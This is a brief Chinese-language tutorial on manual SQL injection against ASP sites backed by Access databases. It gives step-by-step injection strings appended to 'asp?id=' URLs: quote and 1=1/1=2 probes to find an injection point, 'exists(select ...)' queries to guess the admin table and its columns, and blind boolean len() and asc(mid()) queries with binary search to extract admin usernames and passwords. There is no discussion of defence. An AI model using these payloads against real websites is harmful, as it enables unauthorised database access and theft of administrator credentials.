SQL注入原理 手工注入access数据库
SQL注入是通过将SQL命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL指令的目的。
1.判断网站是否有注入点。
在以asp?id=xx(任意数字)结尾的连接依次添加:
-
'
-
1=1
-
1=2
若以上结果显示"数据库出错","正常显示","数据库出错"则该网站存在注入点。
2.猜解表名
在链接末尾添加语句:
and exists(select * from admin)
若存在表名为admin的表,则上述式返回true,即页面正常显示。
3.猜解列名
在链接末尾添加语句:
and exists(select admin from admin)
若admin表中存在名为admin的列,则上述式返回true,即页面正常显示。
同理,检测表中是否存在名为password的列。
4.猜测字段内容
- 首先猜测字段长度,在链接末尾添加语句:
and (select top 1 len(admin) from admin)>n
若页面正常显示,则字段长度大于n。
- 用同样的方法,猜测第一条记录的第一个字符,在链接末尾添加语句:
and (select top 1 asc(mid(admin,1,1)) from admin)>c
若页面正常显示,则第一条记录的第一个字符的ASCII码大于c。
- 同理,可以用二分法快速求得admin字段内容和password字段内容。